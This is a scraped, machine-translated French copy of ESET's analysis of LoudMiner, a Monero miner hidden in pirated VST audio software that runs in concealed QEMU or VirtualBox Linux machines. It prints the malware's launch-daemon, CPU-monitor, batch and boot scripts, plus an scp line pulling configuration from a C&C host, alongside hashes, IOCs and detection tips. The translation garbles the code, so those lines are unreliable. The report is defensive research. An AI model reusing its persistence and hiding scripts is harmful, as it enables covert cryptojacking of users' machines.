VboxVmService.\n\n\nPersistance\nT1050\nNouveau service\nInstallez la machine virtuelle Linux en tant que service avec VboxVmService.\n\n\nT1062\nHyperviseur\nInstallez un hyperviseur de type 2 sur l&#39;hôte (VirtualBox ou QEMU) pour exécuter le mineur.\n\n\nT1160\nLancer le démon\nLes versions de macOS utilisent un démon de lancement pour assurer la persistance.\n\n\nDéfense Evasion\nT1027\nFichiers ou informations masqués\nCertains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS.\n\n\nT1045\nEmballage logiciel\nUtilisez BAT2EXE pour créer un script de lot dans les versions Windows.\n\n\nT1158\nFichiers cachés et répertoires\nLe dossier d&#39;installation de VirtualBox et le répertoire contenant l&#39;image Linux sont masqués.\n\n\nCommander et contrôler\nT1043\nPort couramment utilisé\nUtilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction.\n\n\nT1105\nCopie de fichier à distance\nUtilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C &amp; C.\n\n\nImpact\nT1496\nDétournement de ressources\nUtilisez des machines victimes pour extraire la crypto-monnaie (Monero).\n\n\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMichal Malik et ESET Research\t\t\t\t\t\t\t\t20 juin 2019 &#8211; 11h00\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\nClick to rate this post!\r\n                                   \r\n                               [Total: 0  Average: 0]","paragraphs":["L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS","LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.\nAu moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application &#8211; Kontakt Native Instruments 5.7 pour Windows &#8211; a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu&#39;elles sont toutes troyens.\nLes applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.\nEn ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d&#39;utiliser des machines virtuelles au lieu d&#39;une solution allégée est tout à fait remarquable et ce n&#39;est pas quelque chose que nous voyons régulièrement.\nVoici quelques exemples d&#39;applications, ainsi que des commentaires que vous pouvez trouver sur le site:","Raison Propellerhead\nAbleton Live\nSylenth1\nLien\nReaktor 6\nAutoTune","Figure 1. Commentaire n ° 1 de l’administrateur","Figure 2. Commentaire n ° 2 de l’administrateur","Nous avons trouvé plusieurs discussions de forum d&#39;utilisateurs se plaignant d&#39;un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:","Figure 3. Rapport d&#39;utilisateur n ° 1 (https://discussions.apple.com/thread/250064603)","Figure 4. Rapport utilisateur n ° 2 (https://toster.ru/q/608325)","Un utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:\n«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d&#39;activité indiquant 2 processus &#8211; qemu-system-x86_64 et outils-service &#8211; utiliser 25% des ressources du processeur et fonctionner en tant que root. ”\nL&#39;idée générale des analyses macOS et Windows reste la même:","Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.\nL’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.\nLoudMiner est installé en premier, le logiciel VST après.\nLoudMiner se cache et devient persistant au redémarrage.\nLa machine virtuelle Linux est lancée et l&#39;extraction démarre.\nLes scripts à l&#39;intérieur de la machine virtuelle peuvent contacter le serveur C &amp; C pour mettre à jour le mineur (configuration et fichiers binaires).","Lors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C &amp; C, et à une chaîne de version créée par l’auteur.\nmacOS\nNous avons identifié trois versions MacOS de ce logiciel malveillant jusqu&#39;à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s&#39;assurer que le processus sera redémarré s&#39;il est arrêté. Chaque version a ces composants:","Images QEMU Linux.\nScripts shell utilisés pour lancer les images QEMU.\nLes démons lançaient les scripts shell au démarrage et les maintenaient actifs.\nUn script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d&#39;activité processus est en cours d&#39;exécution.","Le script du moniteur de la CPU peut démarrer et arrêter l&#39;extraction en chargeant et en déchargeant le démon. Si la Moniteur d&#39;activité processus est en cours d&#39;exécution, l&#39;extraction s&#39;arrête. Sinon, il vérifie depuis combien de temps le système est inactif:","ioreg -c IOHIDSystem | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;","Ioreg &#8211;c Système IOHIDS | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;","Si cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:","ps -A -o% cpu | awk &#39;s + = $ 1 END print s&#39;","ps &#8211;UNE &#8211;o %CPU | awk &#39;s + = $ 1 END print s&#39;","divise cela par le nombre de cœurs de la CPU:","sysctl hw.logicalcpu | awk &#39;print $ 2&#39;)","sysctl hw.logiccpu |awk &#39;print $ 2&#39;)","et s&#39;il est supérieur à 85%, il arrête l&#39;extraction. Le script lui-même est un peu différent selon les versions, mais l&#39;idée générale reste la même.\nUne fois l&#39;installation terminée, tous les fichiers d&#39;installation liés à Miner sont supprimés.","Figure 5. Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg","Figure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg    instructions d&#39;installation","Version 1\nLes fichiers Miner contenus dans le package d&#39;application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:","/ Bibliothèque / Application Support / .Qemusys","qemu-system-x86_64 &#8211; binaire QEMU propre\nsys00_1-disk001.qcow2 &#8211; image Linux (première)\nqemuservice &#8211; script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)","/ Bibliothèque / Application Support / .System-Monitor","system-monitor.daemon &#8211; lance la première image via moniteur système binaire","/ usr / local / bin",".Outils-Service","sys00_1-disk001.qcow2 &#8211; image Linux (seconde)\ntools-service.daemon &#8211; lance la deuxième image via outils-service binaire","cpumonitor &#8211; démarre / arrête l&#39;exploration en fonction du temps d&#39;inactivité et de l&#39;utilisation du processeur\nmoniteur système &#8211; copie de qemu-system-x86_64 binaire\noutils-service &#8211; copie de qemu-system-x86_64 binaire","/ Bibliothèque / LaunchDaemons","buildtools.system-monitor.plist &#8211; lancements system-monitor.daemon\nbuildtools.tools-service.plist &#8211; lancements tools-service.daemon\nmodulesys.qemuservice.plist &#8211; lancements qemuservice\nsystools.cpumonitor.plist &#8211; lancements cpumonitor","#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/ usr / local / bin / qemu-system-x86_64 -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun\nFi\ndébut;","#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/usr/local/poubelle/qemu&#8211;système&#8211;x86_64 &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1&#8211;disk001.qcow2 &#8211;afficher aucun\nFi","début;","Script 1. qemuservice script shell\nUne fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:","qemuservice ne lancera pas l&#39;image si le Moniteur d&#39;activité processus est en cours d&#39;exécution. En fait, s&#39;il fonctionne, il déchargera le plist par lequel il a été lancé.\ntools-service.daemon lancera l&#39;image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.\nSystem-monitor.daemon lancera l&#39;image uniquement si le processeur Intel i5, i7 ou i9 est détecté.","Ces scripts utilisent la même commande pour lancer l&#39;image QEMU, seuls les noms et le chemin de l&#39;image diffèrent.\nNous avons trouvé la capture d&#39;écran suivante liée à la version 1 du mineur:","Figure 7. Consommation d&#39;UC de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)","C’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C &amp; C utilisé par la version 1 du mineur.\nVersion 2\nLes fichiers Miner sont en data_installer.pkg à l&#39;intérieur du package d&#39;application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l&#39;installation, la version 1 du mineur est supprimée lors de l&#39;exécution de la commande:","Comme indiqué dans la liste du script 2, il ne le fait que lorsqu&#39;il détecte un qemu-system-x86_64 processus.","#! / bin / bash\n#Clear Old\nfonction clear\nLGC = `ps aux\nclair;","1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22","#! / bin / bash\n#Clear Old\nune fonction clair \nLGC=`ps aux \nclair;","Script 2 data_installer.pkg script de préinstallation qui supprime la version 1\nLes fichiers temporaires suivants sont créés:","/ Utilisateurs / Partagé","z1 &#8211; binaire QEMU\nz1.daemon &#8211; lance l&#39;image QEMU avec le binaire QEMU\nz1.qcow2 &#8211; image QEMU\nz1.plist &#8211; lancements z1.daemon\nz3 &#8211; Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor\nz3.plist &#8211; utilisé pour lancer z3\nrandwd &#8211; génère des noms aléatoires","Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:","Un répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d&#39;application\nLe binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin\nz1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires\nz1.plist est copié avec le nom com..pliste dans / Bibliothèque / LaunchDaemons","z1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d&#39;autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.\nUn nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com..pliste.","#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.AAAA.plist\nautre\n/ usr / local / bin / BBBB -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / CCCC / DDDD &#8211; affichage aucun\nFi\ndébut;","#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.AAAA.plist\nautre\n/usr/local/poubelle/BBBB &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD &#8211;afficher aucun\nFi","début;","Script 3. z1.daemon script shell\nLa version 2 est un peu plus propre et / ou plus simple que la version 1. Il n&#39;y a qu&#39;une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu&#39;une seule fois car l&#39;installation vérifie les processus en cours d&#39;exécution avec accel = hvf dans leur ligne de commande.\nDepuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.\nVersion 3\nLes fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l&#39;intérieur du package d&#39;application. Le DMG est monté avec la commande suivante:","printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass.","printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attacher &#8211;noverify /Utilisateurs/partagé/instapack/faire.Dmg &#8211;stdinpass.","Le mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.\nLe contenu de l&#39;emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis &#8211; clearpacko.sh et installpacko.sh &#8211; et obscurcit un script existant &#8211; randwd:","clearpacko.sh supprime la version 1 du mineur comme la version 2.\ninstallpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.","Le SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.\nLancer l&#39;image Linux\nToutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie.","La version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.\nLes versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, répertoire dans Support d&#39;application et le nom de fichier QEMU est aléatoire.","Toutes les versions utilisent les commutateurs suivants:","-M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.\n-display aucun de sorte que la machine virtuelle s&#39;exécute sans interface graphique.","Étant donné que l&#39;image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.\nWindows (version 4)\nÀ partir des chaînes que nous avons extraites de l&#39;application, nous définissons la seule version de Windows vue jusqu&#39;à présent, la version 4. Comme nous l&#39;avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com.","Figure 8. Fenêtre contextuelle de confiance pour un pilote VirtualBox lors de l&#39;installation d&#39;une application à partir de vstcrack[.]com","VirtualBox est installé dans son nom de dossier habituel (C:  Program Files  Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:  vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service.","@Écho off\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; dossier machine de la propriété &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; import &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy / Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:  vms  VmServiceControl.exe&quot; -i\ndel / F &quot;c:  vms  tmp  sys00_1.ova&quot;","@écho de\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; set property dossier machine &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; importation &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy /Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:vmsVmServiceControl.EXE&quot; -je\ndel / F &quot;c:vmstmpsys00_1.ovules&quot;","Script 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service\nCette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d&#39;activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage.","[Settings]\nVBOX_USER_HOME = C:  vms  .VirtualBox\nRunWebService = no\nPauseShutdown = 5000\n[Vm0]\nVmName = sys00_1\nShutdownMethod = acpipowerbutton\nAutoStart = oui","[[[[Réglages]\nVBOX_USER_HOME=C:vms.VirtualBox\nRunWebService=non\nPauseArrêt=5000\n[[[[Vm0]\nVmName=sys00_1\nMéthode d&#39;arrêt=acpipowerbutton\nAutoStart=Oui","Script 5. Fichier de configuration pour VBoxVmService avec AutoStart activée\nLe fichier OVF inclus dans l&#39;image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%).","&lt;Matériel&gt;\n&lt;CPU compter=&quot;2&quot; exécutionCap=&quot;90&quot;&gt;\n&lt;PAE activée=&quot;vrai&quot;/&gt;\n&lt;LongMode activée=&quot;vrai&quot;/&gt;\n&lt;X2APIC activée=&quot;vrai&quot;/&gt;\n&lt;MatérielVirtExLargePages activée=&quot;vrai&quot;/&gt;\n&lt;/CPU&gt;\n&lt;Mémoire RAMSize=&quot;1024&quot;/&gt;","Script 6. Configuration matérielle de l&#39;image Linux\nImage de Linux\nL&#39;image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:","/root/.ssh/id_rsa, id_rsa.pub &#8211; la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C &amp; C à l&#39;aide de SCP.\n/opt/bootsync.sh, bootlocal.sh &#8211; les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C &amp; C et de l&#39;exécuter (voir Scripts 7 et 8):","/ usr / bin / sethostname box\n/opt/bootlocal.sh 2&gt; &amp; 1&gt; / dev / null &amp;\necho &quot;booting&quot;&gt; / etc / sysconfig / noautologin","/usr/poubelle/sethostname boîte\n/opter/bootlocal.sh 2&gt;Et1 &gt; /dev/nul Et\nécho &quot;démarrage&quot; &gt; /etc/sysconfig/noautologin","Script 7. bootsync.sh","/ mnt / sda1 / tools / bin / idgenerator 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig","/mnt/sda1/outils/poubelle/générateur d&#39;énergie 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig","Script 8. bootlocal.sh","/ mnt / sda1 / tools / bin &#8211; les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.\n/ mnt / sda1 / tools / xmrig &#8211; contient le code source de XMRig (à partir du référentiel GitHub).","La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).\nLe mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:","xmrig_update &#8211; met à jour la configuration du mineur (config.json)\ncommande &#8211; mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;\nccommand_update &#8211; mises à jour commande;","D&#39;après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour.","#! / bin / sh\nping -w 40 127.0.0.1\ncd / mnt / sda1 / tools / bin / &amp; scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new &amp;&amp; mv config.json config.json.bkp &amp;&amp; mv config.json.new config.json","#! / bin / sh\nping &#8211;w 40 127.0.0.1\nCD /mnt/sda1/outils/poubelle/ &amp;&amp; scp &#8211;P 5100 &#8211;C &#8211;o StrictHostKeyChecking=non &#8211;o UserKnownHostsFile=/dev/nul x01@système&#8211;mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau &amp;&amp; mv config.JSON config.JSON.bkp &amp;&amp; mv config.JSON.Nouveau config.JSON","Script 9. xmrig_update\nAfin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d&#39;énergie Le script et sa sortie sont envoyés au serveur C &amp; C par le updater.sh scénario.\nÉvidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:","Confiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).\nConsommation de processeur élevée par un processus que vous n&#39;avez pas installé (QEMU ou VirtualBox dans ce cas).\nUn nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).\nConnexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici).","Des hachis\napplications «fissurées» macOS (versions 1 à 3)","SHA-1\nNom de fichier\nNom de détection ESET\nNuméro de version","71030028c4e1b844c85138bd77ddea96a190ec2c\nVirtual_DJ_8_Pro_Infinity_macOS.pkg\nOSX / LoudMiner.A\n1","32c80edcec4f7bb3b494e8949c6f2014b7f5db65\nNative Instruments Massive Installer.pkg\nOSX / LoudMiner.A\n1","7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90\nMassive_v1.5.5_Installer_macOS.dmg\nOSX / LoudMiner.B\n2","0b40bd0754637d5be2ada760ff0ecfda7afe03d7\nNative_Instruments_Effects_Series_Mod_Pack.dmg\nOSX / LoudMiner.B\n2","88efc767a32299e922f1b41f82c8d584585e2161\nSpectrasonics_Omnisphere_2.5_OSx.dmg\nOSX / LoudMiner.C\n3","e9c9d17d006fb03d67b736c0826df0af8ca6d5fd\nLennar_Digital_Sylenth1_2.2.1.dmg\nOSX / LoudMiner.C\n3","Applications «fissurées» de Windows (version 4)","SHA-1\nNom de fichier\nNom de détection ESET","23faacfc23cfef65504d7fa20854030b96a9df91\nAbleton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip\nWin32 / LoudMiner.A","5a8682eae69b2e11d45980941a972bd734630207\nInfected-Mushroom-Manipulator-V1.0.3.zip\nWin32 / LoudMiner.A","60a8f1d4a028153271093e815e8267bd25fde852\nSonic_Academy_ANA_2.0.3_x86_x64.msi\nWin32 / LoudMiner.A","7c7876058783da85d5502b9406f7fb4d26f66238\nSoundToys_5.0.1_x64-SetupFiles.rar\nWin32 / LoudMiner.A","a1a1dc7876d71749a8bc5690c537451770ef4ab8\nValhalla-DSP-Full-Bundle-setupfiles.zip\nWin32 / LoudMiner.A","Images Linux","SHA-1\nNom de fichier\nNuméro de version","dd9b89a3c5a88fb679f098e2c2847d22350e23b1\nsys00_1-disk001.qcow2\n1","d1e42e913da308812dd8da1601531b197c1a09a1\nsys00_1-disk001.qcow2\n1","39a7e86368f0e68a86cce975fd9d8c254a86ed93\nz1.qcow2 (renommé avec un nom aléatoire)\n2","59026ffa1aa7b60e5058a0795906d107170b9e0f\nz1.qcow2 (renommé avec un nom aléatoire)\n3","fcf5c3b560295ee330b97424b7354fd321757cc6\nsys00_1.ova\n4","fc60431a0172d5b8cf4b34866567656467cf861c\nsys00_1.ova\n4","Noms de fichiers\nmacOS","/ Bibliothèque / Application Support / .Qemusys\n/ Bibliothèque / Application Support / .System-Monitor\n/usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service\n/Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist","les fenêtres\nNoms d&#39;hôtes\nvstcrack[.]com (137[.]74.151.144)\nHôtes de téléchargement (via HTTP sur le port 80)","185[.]112.156.163\n185[.]112.156.29\n185[.]112.156.70\n185[.]112.157.102\n185[.]112.157.103\n185[.]112.157.105\n185[.]112.157.12\n185[.]112.157.181\n185[.]112.157.213\n185[.]112.157.24\n185[.]112.157.38\n185[.]112.157.49\n185[.]112.157.53\n185[.]112.157.65\n185[.]112.157.72\n185[.]112.157.79\n185[.]112.157.85\n185[.]112.157.99\n185[.]112.158.112\n185[.]112.158.133\n185[.]112.158.186\n185[.]112.158.190\n185[.]112.158.20\n185[.]112.158.3\n185[.]112.158.96\nd-d[.]hôte (185[.]112.158.44)\nd-d[.]vivre (185[.]112.156.227)\nd-d[.]espace (185[.]112.157.79)\nm-m[.]icu (185[.]112.157.118)","Mettre à jour les hôtes (via SCP)","aly001[.]hopto.org (192[.]210.200.87, port 22)\nmise à jour du système[.]est (145[.]249.104.109, port 5100)","Mining hôtes","mise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)\nverification du système[.]services (82[.]221.139.161, port 8080)","Tactique\nID\nprénom\nLa description","Exécution\nT1035\nExécution du service\nSous Windows, l&#39;image Linux est exécutée en tant que service avec VboxVmService.","Persistance\nT1050\nNouveau service\nInstallez la machine virtuelle Linux en tant que service avec VboxVmService.","T1062\nHyperviseur\nInstallez un hyperviseur de type 2 sur l&#39;hôte (VirtualBox ou QEMU) pour exécuter le mineur.","T1160\nLancer le démon\nLes versions de macOS utilisent un démon de lancement pour assurer la persistance.","Défense Evasion\nT1027\nFichiers ou informations masqués\nCertains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS.","T1045\nEmballage logiciel\nUtilisez BAT2EXE pour créer un script de lot dans les versions Windows.","T1158\nFichiers cachés et répertoires\nLe dossier d&#39;installation de VirtualBox et le répertoire contenant l&#39;image Linux sont masqués.","Commander et contrôler\nT1043\nPort couramment utilisé\nUtilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction.","T1105\nCopie de fichier à distance\nUtilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C &amp; C.","Impact\nT1496\nDétournement de ressources\nUtilisez des machines victimes pour extraire la crypto-monnaie (Monero).","Michal Malik et ESET Research\t\t\t\t\t\t\t\t20 juin 2019 &#8211; 11h00","Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]"],"content_blocks":[{"id":"text-1","type":"text","heading":"","plain_text":"L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS","html":"<p>L&#039;histoire d&#039;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS</p>"},{"id":"text-2","type":"text","heading":"","plain_text":"LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.\nAu moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application &#8211; Kontakt Native Instruments 5.7 pour Windows &#8211; a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu&#39;elles sont toutes troyens.\nLes applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend 